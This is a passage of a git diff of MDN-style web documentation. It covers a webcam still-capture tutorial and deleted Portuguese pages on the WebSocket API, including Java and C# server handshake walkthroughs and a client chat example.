Next, we have a {{HTMLElement("canvas")}} element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file. This canvas is kept hidden by styling the canvas with {{cssxref("display")}}:none, to avoid cluttering up the screen — the user does not need to see this intermediate stage.

- -

We also have an {{HTMLElement("img")}} element into which we will draw the image — this is the final display shown to the user.

- -
  <canvas id="canvas">
-  </canvas>
-  <div class="output">
-    <img id="photo" alt="The screen capture will appear in this box.">
-  </div>
- -

That's all of the relevant HTML. The rest is just some page layout fluff and a bit of text offering a link back to this page.

- -

O código de JavaScript

- -

Now let's take a look at the JavaScript code. We'll break it up into a few bite-sized pieces to make it easier to explain.

- -

Initialização

- -

We start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.

- -
(function() {
-  var width = 320;    // We will scale the photo width to this
-  var height = 0;     // This will be computed based on the input stream
-
-  var streaming = false;
-
-  var video = null;
-  var canvas = null;
-  var photo = null;
-  var startbutton = null;
- -

Those variables are:

- -
-
largura
-
Whatever size the incoming video is, we're going to scale the resulting image to be 320 pixels wide.
-
altura
-
The output height of the image will be computed given the width and the aspect ratio of the stream.
-
transmissão
-
Indicates whether or not there is currently an active stream of video running.
-
vídeo
-
This will be a reference to the {{HTMLElement("video")}} element after the page is done loading.
-
canvas
-
This will be a reference to the {{HTMLElement("canvas")}} element after the page is done loading.
-
foto
-
This will be a reference to the {{HTMLElement("img")}} element after the page is done loading.
-
startbutton
-
This will be a reference to the {{HTMLElement("button")}} element that's used to trigger capture. We'll get that after the page is done loading.
-
- -

The startup() function

- -

The startup() function is run when the page has finished loading, courtesy of {{domxref("window.addEventListener()")}}. This function's job is to request access to the user's webcam, initialize the output {{HTMLElement("img")}} to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.

- -

Getting element references

- -

First, we grab references to the major elements we need to be able to access.

- -
  function startup() {
-    video = document.getElementById('video');
-    canvas = document.getElementById('canvas');
-    photo = document.getElementById('photo');
-    startbutton = document.getElementById('startbutton');
- -

Get the media stream

- -

The next task is to get the media stream:

- -
    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
-    .then(function(stream) {
-        video.srcObject = stream;
-        video.play();
-    })
-    .catch(function(err) {
-        console.log("An error occured! " + err);
-    });
-
- -

Here, we're calling {{domxref("MediaDevices.getUserMedia()")}} and requesting a video stream (without audio). It returns a promise which we attach success and failure callbacks to.

- -

The success callback receives a stream object as input. It the {{HTMLElement("video")}} element's source to our new stream.

- -

Once the stream is linked to the <video> element, we start it playing by calling HTMLMediaElement.play().

- -

The error callback is called if opening the stream doesn't work. This will happen for example if there's no compatible camera connected, or the user denied access.

- -

Listen for the video to start playing

- -

After calling HTMLMediaElement.play() on the {{HTMLElement("video")}}, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. To avoid blocking until that happens, we add an event listener to video, canplay, which is delivered when the video playback actually begins. At that point, all the properties in the video object have been configured based on the stream's format.

- -
    video.addEventListener('canplay', function(ev){
-      if (!streaming) {
-        height = video.videoHeight / (video.videoWidth/width);
-
-        video.setAttribute('width', width);
-        video.setAttribute('height', height);
-        canvas.setAttribute('width', width);
-        canvas.setAttribute('height', height);
-        streaming = true;
-      }
-    }, false);
- -

This callback does nothing unless it's the first time it's been called; this is tested by looking at the value of our streaming variable, which is false the first time this method is run.

- -

If this is indeed the first run, we set the video's height based on the size difference between the video's actual size, video.videoWidth, and the width at which we're going to render it, width.

- -

Finally, the width and height of both the video and the canvas are set to match each other by calling {{domxref("Element.setAttribute()")}} on each of the two properties on each element, and setting widths and heights as appropriate. Finally, we set the streaming variable to true to prevent us from inadvertently running this setup code again.

- -

Handle clicks on the button

- -

To capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued:

- -
    startbutton.addEventListener('click', function(ev){
-      takepicture();
-      ev.preventDefault();
-    }, false);
- -

This method is simple enough: it just calls our takepicture() function, defined below in the section {{anch("Capturing a frame from the stream")}}, then calls {{domxref("Event.preventDefault()")}} on the received event to prevent the click from being handled more than once.

- -

Wrapping up the startup() method

- -

There are only two more lines of code in the startup() method:

- -
    clearphoto();
-  }
- -

This is where we call the clearphoto() method we'll describe below in the section {{anch("Clearing the photo box")}}.

- -

Clearing the photo box

- -

Clearing the photo box involves creating an image, then converting it into a format usable by the {{HTMLElement("img")}} element that displays the most recently captured frame. That code looks like this:

- -
  function clearphoto() {
-    var context = canvas.getContext('2d');
-    context.fillStyle = "#AAA";
-    context.fillRect(0, 0, canvas.width, canvas.height);
-
-    var data = canvas.toDataURL('image/png');
-    photo.setAttribute('src', data);
-  }
- -

We start by getting a reference to the hidden {{HTMLElement("canvas")}} element that we use for offscreen rendering.  Next we set the fillStyle to #AAA (a fairly light grey), and fill the entire canvas with that color by calling {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

- -

Last in this function, we convert the canvas into a PNG image and call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

- -

Capturing a frame from the stream

- -

There's one last function to define, and it's the point to the entire exercise: the takepicture() function, whose job it is to capture the currently displayed video frame, convert it into a PNG file, and display it in the captured frame box. The code looks like this:

- -
  function takepicture() {
-    var context = canvas.getContext('2d');
-    if (width && height) {
-      canvas.width = width;
-      canvas.height = height;
-      context.drawImage(video, 0, 0, width, height);
-
-      var data = canvas.toDataURL('image/png');
-      photo.setAttribute('src', data);
-    } else {
-      clearphoto();
-    }
-  }
- -

As is the case any time we need to work with the contents of a canvas, we start by getting the {{domxref("CanvasRenderingContext2D","2D drawing context")}} for the hidden canvas.

- -

Then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match that of the captured frame, then call {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} to draw the current frame of the video into the context, filling the entire canvas with the frame image.

- -
-

Note: This takes advantage of the fact that the {{domxref("HTMLVideoElement")}} interface looks like a {{domxref("HTMLImageElement")}} to any API that accepts an HTMLImageElement as a parameter, with the video's current frame presented as the image's contents.

-
- -

Once the canvas contains the captured image, we convert it to PNG format by calling {{domxref("HTMLCanvasElement.toDataURL()")}} on it; finally, we call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

- -

If there isn't a valid image available (that is, the width and height are both 0), we clear the contents of the captured frame box by calling clearphoto().

- -

Fun with filters

- -

Since we're capturing images from the user's webcam by grabbing frames from a {{HTMLElement("video")}} element, we can very easily apply filters and fun effects to the video. As it turns out, any CSS filters you apply to the element using the {{cssxref("filter")}} property affect the captured photo. These filters can range from the simple (making the image black and white)  to the extreme (gaussian blurs and hue rotation).

- -

You can play with this effect using, for example, the Firefox developer tools' style editor; see Edit CSS filters for details on how to do so.

- -

Consultar também

- -
    -
  • Try this sample
  • -
  • Sample code on Github
  • -
  • {{domxref("Navigator.getUserMedia()")}}
  • -
  • {{SectionOnPage("/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images", "Using frames from a video")}}
  • -
  • {{domxref("CanvasRenderingContext2D.drawImage()")}}
  • -
diff --git a/files/pt-pt/web/api/websocket/index.html b/files/pt-pt/web/api/websocket/index.html deleted file mode 100644 index 9820afc0b5..0000000000 --- a/files/pt-pt/web/api/websocket/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: WebSocket -slug: Web/API/WebSocket -tags: - - API - - Interface - - WebSocket - - WebSockets -translation_of: Web/API/WebSocket ---- -
{{APIRef("Web Sockets API")}}
- -

O objeto WebSocket fornece a API para criar e gerir uma ligação WebSocket a um servidor, bem como para enviar e receber dados sobre a ligação.

- -

Para criar uma WebSocket, use o construtor WebSocket().

- -

Constructor

- -
-
{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}
-
Devolve um objeto WebSocket acabado de criar.
-
- -

Constantes

- - - - - - - - - - - - - - - - - - - - - - - - -
ConstanteValor
WebSocket.CONNECTING0
WebSocket.OPEN1
WebSocket.CLOSING2
WebSocket.CLOSED3
- -

Propriedades

- -
-
{{domxref("WebSocket.binaryType")}}
-
O tipo de dados binarios usado pela conexão.
-
{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}
-
O numero de bytes de dados em fila.
-
{{domxref("WebSocket.extensions")}} {{readonlyinline}}
-
As extensões selecionadas pelo servidor.
-
{{domxref("WebSocket.onclose")}}
-
Um event listener para ser chamado quando a ligação terminar.
-
{{domxref("WebSocket.onerror")}}
-
Um event listener para ser chamado quando um erro ocorre.
-
{{domxref("WebSocket.onmessage")}}
-
Um event listener para ser chamado quando uma mensagem é recebida do servidor.
-
{{domxref("WebSocket.onopen")}}
-
Um event listener para ser chamado quando a ligação é iniciada.
-
{{domxref("WebSocket.protocol")}} {{readonlyinline}}
-
O sub-protocolo selecionado pelo servidor.
-
{{domxref("WebSocket.readyState")}} {{readonlyinline}}
-
O estado atual da conexão.
-
{{domxref("WebSocket.url")}} {{readonlyinline}}
-
O URL absoluto da WebSocket.
-
- -

Métodos

- -
-
{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}
-
Termina a conexão.
-
{{domxref("WebSocket.send", "WebSocket.send(data)")}}
-
Adiciona dados à fila para ser transmitida.
-
- -

Eventos

- -

Observe estes eventos usando addEventListener() ou atribuindo um agente de escuta de eventos à propriedade oneventname desta interface.

- -
-
{{domxref("WebSocket/close_event", "close")}}
-
Lançado quando uma ligação com um WebSocket é fechada.
- Também disponível através da propriedade {{domxref("WebSocket/onclose", "onclose")}}.
-
{{domxref("WebSocket/error_event", "error")}}
-
Lançado quando uma ligação com um WebSocket foi fechada devido a um erro, como quando alguns dados não puderam ser enviados.
- Também disponível através da propriedade {{domxref("WebSocket/onerror", "onerror")}}.
-
{{domxref("WebSocket/message_event", "message")}}
-
Lançado quando os dados são recebidos através de um WebSocket.
- Também disponível através da propriedade {{domxref("WebSocket/onmessage", "onmessage")}}.
-
{{domxref("WebSocket/open_event", "open")}}
-
Lançado quando uma ligação com um WebSocket é aberta.
- Também disponível através da propriedade {{domxref("WebSocket/onopen", "onopen")}}.
-
- -

Exemplos

- -
// Criar ligação WebSocket.
-const socket = new WebSocket('ws://localhost:8080');
-
-// Ligação conectada
-socket.addEventListener('open', function (event) {
-    socket.send('Hello Server!');
-});
-
-// Ficar a ouvir por mensagens
-socket.addEventListener('message', function (event) {
-    console.log('Message from server ', event.data);
-});
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstado
{{SpecName("HTML WHATWG", "#network", "WebSocket")}}{{Spec2("HTML WHATWG")}}
- -

Compatibilidade

- -
- - -

{{Compat("api.WebSocket")}}

-
- -

Ver também

- - diff --git a/files/pt-pt/web/api/websocket/websocket/index.html b/files/pt-pt/web/api/websocket/websocket/index.html deleted file mode 100644 index 6c7a39f7ac..0000000000 --- a/files/pt-pt/web/api/websocket/websocket/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: WebSocket() -slug: Web/API/WebSocket/WebSocket -tags: - - API - - Construtor - - Referencia - - Web API - - WebSocket -translation_of: Web/API/WebSocket/WebSocket ---- -

{{APIRef("Web Sockets API")}}

- -

O construtor WebSocket() devolve um novo objeto de {{domxref("WebSocket")}}.

- -

Sintaxe

- -
var aWebSocket = new WebSocket(url [, protocols]);
- -

Parâmetros

- -
-
url
-
O URL a qual se conectar; este deve ser o URL a qual o servidor WebSocket responderá.
-
protocols {{optional_inline}}
-
Uma string ou uma matriz de strings que representam protocolos. Estas strings representam sub-protocolos, para que um servidor possa implementar vários sub-protocolos WebSocket (por exemplo, pode querer que um servidor seja capaz de lidar com diferentes tipos de interações dependendo do protocol indicado). Se não é dado um valor ao parâmetro, fica pré-definido como uma string vazia.
-
- -

Exceções lançadas

- -
-
SECURITY_ERR
-
A porta a qual a que se está a tentar ligar está bloqueada.
-
SyntaxError
-
O URL é invalido.
-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}{{Spec2('HTML WHATWG')}}
- -

Compatibilidade

- - - -

{{Compat("api.WebSocket.WebSocket")}}

diff --git a/files/pt-pt/web/api/websockets_api/index.html b/files/pt-pt/web/api/websockets_api/index.html deleted file mode 100644 index 5fa4e252e2..0000000000 --- a/files/pt-pt/web/api/websockets_api/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: WebSocket API (WebSockets) -slug: Web/API/WebSockets_API -tags: - - API - - Client - - Comunicação - - Servidor - - Sumario - - Two-Way - - WebSocket - - WebSocket API - - WebSockets - - dados - - interativo -translation_of: Web/API/WebSockets_API ---- -

{{DefaultAPISidebar("Websockets API")}}

- -

A WebSocket API é uma tecnologia que permite abrir uma sessão de comunicação interativa bidirecional entre o navegador do utilizador e um servidor. Com esta API, é possível enviar mensagens para um servidor e receber respostas orientadas por eventos sem ter de sondar o servidor para obter uma resposta.

- -
-

Nota: Enquanto a conexão WebSocket é funcionalmente semelhante aos sockets de estilo Unix, não são relacionados.

-
- -

Interfaces

- -
-
WebSocket
-
A interface principal para fazer conexão a um servidor de WebSocket e depois enviar e receber dados na mesma conexão.
-
CloseEvent
-
O evento enviado pelo objeto WebSocket quando a conexão termina.
-
MessageEvent
-
O evento enviado pelo objeto WebSocket quando uma mensagem é recebida do servidor.
-
- -

Guias

- - - -

Ferramentas

- -
    -
  • HumbleNet: Uma biblioteca em rede multi-plataformas que funciona no navegador. Consiste num wrapper em C em torno de WebSockets e WebRTC que abstrai as diferenças entre navegadores, facilitando a criação de funcionalidades de rede multi-utilizador para jogos e outras aplicações.
  • -
  • µWebSockets: Implementação de servidor e cliente WebSocket altamente escalável para C++11 e Node.js.
  • -
  • ClusterWS:  Framework leve, rápida e poderosa para construir aplicações WebSocket escaláveis no Node.js.
  • -
  • CWS: Implementação rápida WebSocket de C++ para Node.js (uWebSockets v0.14 fork)
  • -
  • Socket.IO: Um protocolo de transferência de terceiros, baseado em long polling/WebSocket para Node.js.
  • -
  • SocketCluster: Uma pub/sub WebSocket framework para Node.js com foco na escalabilidade.
  • -
  • WebSocket-Node: Uma implementação da API de servidores WebSocket para Node.js.
  • -
  • Total.js: Uma framework de aplicações web para Node.js (Example: WebSocket chat)
  • -
  • Faye: Uma WebSocket (ligações bidireccionais) e EventSource (ligações unidireccionais) para Node.js Server e Client.
  • -
  • SignalR: SignalR usa WebSockets quando está disponível, e discretamente volta para outras técnicas e tecnologias quando não está, enquanto o seu código de aplicação permanece o mesmo.
  • -
  • Caddy: Um servidor web capaz de substituir comandos arbitrários (stdin/stdout) com uma web socket.
  • -
  • ws: uma biblioteca de cliente e servidor WebSocket popular para Node.js.
  • -
  • jsonrpc-bidirectional: RPC assíncrono que, numa única ligação, pode ter funções exportadas no servidor e, e ao mesmo tempo, no cliente (cliente pode chamar servidor, servidor também pode chamar cliente).
  • -
  • cowboy: Cowboy é um pequeno, rápido e moderno servidor HTTP para Erlang/OTP com suporte para WebSocket.
  • -
- - - - - -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("HTML WHATWG", "web-sockets.html", "WebSocket API")}}{{Spec2("HTML WHATWG")}}
WebSocketsCandidate Recommendation
{{RFC(6455, "The WebSocket Protocol")}}IETF RFC
- -

Compatibilidade

- - - -

{{Compat("api.WebSocket")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html b/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html deleted file mode 100644 index d41f7c7b3e..0000000000 --- a/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: Escrever um servidor WebSocket em Java -slug: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java -tags: - - HTML5 - - Handshaking - - Tutorial - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java -original_slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java ---- -

Introdução

- -

Este exemplo mostra-lhe como criar um servidor com API de WebSocket utilizando Oracle Java.
-
- Embora outras linguagens do lado do servidor possam ser utilizadas para criar um servidor WebSocket, este exemplo utiliza Oracle Java para simplificar o código do exemplo.

- -

Este servidor está em conformidade com o RFC 6455, pelo que apenas trata de ligações a partir das seguintes versões dos navegadores; Chrome 16, Firefox 11, IE 10 e superior.

- -

Primeiros passos

- -

Os WebSockets comunicam através de uma ligação {{interwiki("wikipedia", "Transmission_Control_Protocol", "TCP (Transmission Control Protocol)")}}. A classe ServerSocket do Java está localizada no pacote java.net.

- -

ServerSocket

- -

Construtor

- -
-
ServerSocket(int port)
-
Quando se instância a classe ServerSocket, esta é ligada ao número da porta que se especificou pelo argumento port.
-
- Aqui está uma implementação dividida em partes:
-
- -
import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Base64;
-import java.util.Scanner;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WebSocket {
-	public static void main(String[] args) throws IOException, NoSuchAlgorithmException {
-		ServerSocket server = new ServerSocket(80);
-		try {
-			System.out.println("Server has started on 127.0.0.1:80.\r\nWaiting for a connection...");
-			Socket client = server.accept();
-			System.out.println("A client connected.");
- -

Socket

- -

Métodos

- -
-
getInputStream()
-
Devolve uma input stream para este socket.
-
getOutputStream()
-
Devolve uma output stream para este socket.
-
- -

OutputStream

- -

Métodos

- -
-
write(byte[] b, int off, int len)
-
Escreve o número de bytes especificado por len a partir da matriz de bytes especificada por b, começando no índice indicado por off para este output stream.
-
- -

InputStream

- -

Métodos

- -
-
read(byte[] b, int off, int len)
-
Lê até um número de bytes especificado por len da matriz de bytes especificada por b, começando no índice indicado por off para este input stream.
-
- -

Vamos continuar o nosso exemplo.

- -
			InputStream in = client.getInputStream();
-			OutputStream out = client.getOutputStream();
-			Scanner s = new Scanner(in, "UTF-8");
- -

Handshaking (aperto de mão)

- -

Quando um cliente se liga a um servidor, envia um pedido GET para actualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

- -
			try {
-				String data = s.useDelimiter("\\r\\n\\r\\n").next();
-				Matcher get = Pattern.compile("^GET").matcher(data);
- -

Criar a resposta é mais fácil do que compreender porque o deve fazer desta forma.

- -

Você deve,

- -
    -
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. -
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
  4. -
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. -
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. -
- -
				if (get.find()) {
-					Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
-					match.find();
-					byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
-						+ "Connection: Upgrade\r\n"
-						+ "Upgrade: websocket\r\n"
-						+ "Sec-WebSocket-Accept: "
-						+ Base64.getEncoder().encodeToString(MessageDigest.getInstance("SHA-1").digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes("UTF-8")))
-						+ "\r\n\r\n").getBytes("UTF-8");
-					out.write(response, 0, response.length);
-
- -

Descodificar mensagens

- -

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.
-
- Se enviarmos "abcdef", recebemos estes bytes:

- - - - - - - - - - - - - - - - - - -
129134167225225210198131130182194135
- -

129 (FIN, RSV1, RSV2, RSV3, opcode)

- -

Pode enviar a sua mensagem em fragmentos, mas por enquanto o FIN é 1 indicando que a mensagem está toda num fragmento. RSV1, RSV2 e RSV3 são sempre 0, a não ser que um significado para os bytes é negociado. Opcode 0x1 significa que isto é um texto (ver lista completa de opcodes).

- - - - - - - - - - - - - - - - - - - - -
FIN (É o último fragmento da mensagem?)RSV1RSV2RSV3Opcode
10000x1=0001
- -

134 (comprimento da mensagem)

- -

O comprimento da mensagem é indicada das seguintes formas:

- -
    -
  • Se o segundo byte menos 128 estiver entre 0 e 125, este é o comprimento da mensagem,
  • -
  • Se o resultado é 126, os seguintes 2 bytes (inteiro de 16 bits sem assinatura) ditam o comprimento,
  • -
  • E se o resultado é 127, os 8 bytes seguintes (64-bit inteiro não assinado, o bit mais significativo DEVE ser 0) são o comprimento.
  • -
- -

167, 225, 225 e 210 (chave para descodificar)

- -

Estes são os bytes da chave para descodificar. A chave muda para cada mensagem.

- -

198, 131, 130, 182, 194, 135 (conteúdo da mensagem)

- -

Os restantes bytes codificados são a mensagem.

- -

Algoritmo para descodificar

- -

O algoritmo usado para descodificar a mensagem é o seguinte:

- -

Di = Ei XOR M(i mod 4)

- -

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

- -

Exemplo em Java:

- -
					byte[] decoded = new byte[6];
-					byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 };
-					byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 };
-					for (int i = 0; i < encoded.length; i++) {
-						decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]);
-					}
-				}
-			} finally {
-				s.close();
-			}
-		} finally {
-			server.close();
-		}
-	}
-}
- -

Ver também

- - - -
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html deleted file mode 100644 index 08b86ecca8..0000000000 --- a/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Escrever aplicação cliente de WebSocket -slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications -tags: - - Client - - Exemplo - - Guía - - Networking - - Web Sockets API - - WebSocket - - WebSocket API - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications -original_slug: Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket ---- -
{{APIRef("Websockets API")}}
- -

WebSocket client applications use the WebSocket API to communicate with WebSocket servers using the WebSocket protocol.

- -

{{AvailableInWorkers}}

- -
-

Note: The example snippets in this article are taken from our WebSocket chat client/server sample. See the code, then try out the example for yourself.

-
- -

Creating a WebSocket object

- -

In order to communicate using the WebSocket protocol, you need to create a {{domxref("WebSocket")}} object; this will automatically attempt to open the connection to the server.

- -

The WebSocket constructor accepts one required and one optional parameter:

- -
webSocket = new WebSocket(url, protocols);
-
- -
-
url
-
The URL to which to connect; this should be the URL to which the WebSocket server will respond. This should use the URL scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
-
protocols {{ optional_inline() }}
-
Either a single protocol string or an array of protocol strings. These strings are used to indicate sub-protocols, so that a single server can implement multiple WebSocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). If you don't specify a protocol string, an empty string is assumed.
-
- -

The constructor will throw a SecurityError if the destination doesn't allow access. This may happen if you attempt to use an insecure connection (most {{Glossary("user agent", "user agents")}} now require a secure link for all WebSocket connections unless they're on the same device or possibly on the same network).

- -

Connection errors

- -

If an error occurs while attempting to connect, first a simple event with the name error is sent to the {{domxref("WebSocket")}} object (thereby invoking its {{domxref("WebSocket.onerror", "onerror")}} handler), and then the {{domxref("CloseEvent")}} is sent to the WebSocket object (thereby invoking its {{domxref("WebSocket.onclose", "onclose")}} handler) to indicate the reason for the connection's closing.

- -

The browser may also output to its console a more descriptive error message as well as a closing code as defined in RFC 6455, Section 7.4 through the {{domxref("CloseEvent")}}.

- -

Examples

- -

This simple example creates a new WebSocket, connecting to the server at wss://www.example.com/socketserver. A custom protocol of "protocolOne" is named in the request for the socket in this example, though this can be omitted.

- -
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", "protocolOne");
-
- -

On return, {{domxref("WebSocket.readyState", "exampleSocket.readyState")}} is CONNECTING. The readyState will become OPEN once the connection is ready to transfer data.

- -

If you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols:

- -
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
-
- -

Once the connection is established (that is, readyState is OPEN), {{domxref("WebSocket.protocol", "exampleSocket.protocol")}} will tell you which protocol the server selected.

- -

Establishing a WebSocket relies on the HTTP Upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss://www.example.com.

- -

Sending data to the server

- -

Once you've opened your connection, you can begin transmitting data to the server. To do this, simply call the WebSocket object's {{domxref("WebSocket.send", "send()")}} method for each message you want to send:

- -
exampleSocket.send("Here's some text that the server is urgently awaiting!");
-
- -

You can send data as a string, {{ domxref("Blob") }}, or {{jsxref("ArrayBuffer")}}.

- -

As establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method immediately after creating a WebSocket object will be successful. We can at least be sure that attempting to send data only takes place once a connection is established by defining an {{domxref("WebSocket.onopen", "onopen")}} event handler to do the work:

- -
exampleSocket.onopen = function (event) {
-  exampleSocket.send("Here's some text that the server is urgently awaiting!");
-};
-
- -

Using JSON to transmit objects

- -

One handy thing you can do is use {{glossary("JSON")}} to send reasonably complex data to the server. For example, a chat program can interact with a server using a protocol implemented using packets of JSON-encapsulated data:

- -
// Send text to all users through the server
-function sendText() {
-  // Construct a msg object containing the data the server needs to process the message from the chat client.
-  var msg = {
-    type: "message",
-    text: document.getElementById("text").value,
-    id:   clientID,
-    date: Date.now()
-  };
-
-  // Send the msg object as a JSON-formatted string.
-  exampleSocket.send(JSON.stringify(msg));
-
-  // Blank the text input element, ready to receive the next line of text from the user.
-  document.getElementById("text").value = "";
-}
-
- -

Receiving messages from the server

- -

WebSockets is an event-driven API; when messages are received, a message event is sent to the WebSocket object. To handle it, add an event listener for the message event, or use the {{domxref("WebSocket.onmessage", "onmessage")}} event handler. To begin listening for incoming data, you can do something like this:

- -
exampleSocket.onmessage = function (event) {
-  console.log(event.data);
-}
-
- -

Receiving and interpreting JSON objects

- -

Let's consider the chat client application first alluded to in {{ anch("Using JSON to transmit objects") }}. There are assorted types of data packets the client might receive, such as:

- -
    -
  • Login handshake
  • -
  • Message text
  • -
  • User list updates
  • -
- -

The code that interprets these incoming messages might look like this:

- -
exampleSocket.onmessage = function(event) {
-  var f = document.getElementById("chatbox").contentDocument;
-  var text = "";
-  var msg = JSON.parse(event.data);
-  var time = new Date(msg.date);
-  var timeStr = time.toLocaleTimeString();
-
-  switch(msg.type) {
-    case "id":
-      clientID = msg.id;
-      setUsername();
-      break;
-    case "username":
-      text = "<b>User <em>" + msg.name + "</em> signed in at " + timeStr + "</b><br>";
-      break;
-    case "message":
-      text = "(" + timeStr + ") <b>" + msg.name + "</b>: " + msg.text + "<br>";
-      break;
-    case "rejectusername":
-      text = "<b>Your username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>"
-      break;
-    case "userlist":
-      var ul = "";
-      for (i=0; i < msg.users.length; i++) {
-        ul += msg.users[i] + "<br>";
-      }
-      document.getElementById("userlistbox").innerHTML = ul;
-      break;
-  }
-
-  if (text.length) {
-    f.write(text);
-    document.getElementById("chatbox").contentWindow.scrollByPages(1);
-  }
-};
-
- -

Here we use {{jsxref("JSON.parse()")}} to convert the JSON object back into the original object, then examine and act upon its contents.

- -

Text data format

- -

Text received over a WebSocket connection is in UTF-8 format.

- -

Closing the connection

- -

When you've finished using the WebSocket connection, call the WebSocket method {{domxref("WebSocket.close", "close()")}}:

- -
exampleSocket.close();
-
- -

It may be helpful to examine the socket's {{domxref("WebSocket.bufferedAmount", "bufferedAmount")}} attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network. If this value isn't 0, there's pending data still, so you may wish to wait before closing the connection.

- -

Security considerations

- -

WebSockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure WebSocket connection from a page loaded using HTTPS or vice-versa. Most browsers now only allow secure WebSocket connections, and no longer support using them in insecure contexts.

diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html deleted file mode 100644 index a842c9d7d1..0000000000 --- a/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html +++ /dev/null @@ -1,442 +0,0 @@ ---- -title: Escrever um servidor WebSocket em C# -slug: Web/API/WebSockets_API/Writing_WebSocket_server -tags: - - HTML5 - - Tutorial - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_server -original_slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C ---- -

Introdução

- -

Se desejar utilizar o WebSocket API, é útil dispor de um servidor. Neste artigo pode ver como escrever um em C#. Pode fazê-lo em qualquer língua do lado do servidor, mas para manter as coisas simples e mais compreensíveis, vamos usar a linguagem da Microsoft.

- -

Este servidor está em conformidade com o RFC 6455, pelo que só tratará de ligações a partir das versões de navegadores; Chrome 16, Firefox 11, e IE 10 ou superior.

- -

Primeiros passos

- -

Os WebSockets comunicam através de uma ligação interwiki("wikipedia","Transmission_Control_Protocol","TCP (Transmission Control Protocol)"). Felizmente, C# tem uma classe TcpListener que serve para escutar ligações de TCP. Encontra-se no espaço de nomes System.Net.Sockets.

- -
-

Nota: É aconselhável incluir o namespace com using a fim de escrever menos. Permite a utilização das classes de um namespace sem escrever sempre o namespace completo.

-
- -

TcpListener

- -

Construtor

- -
-
TcpListener(System.Net.IPAddress localaddr, int port)
-
localaddr indica o endereço IP do ouvinte e port indica a porta.
-
- -
-

Nota: Para criar um objeto IPAddress a partir de uma string, use o método static Parse de IPAddress.

-
- -

Métodos

- -
-
Start()
-
Começa a escutar os pedidos de ligação recebidos.
-
- -
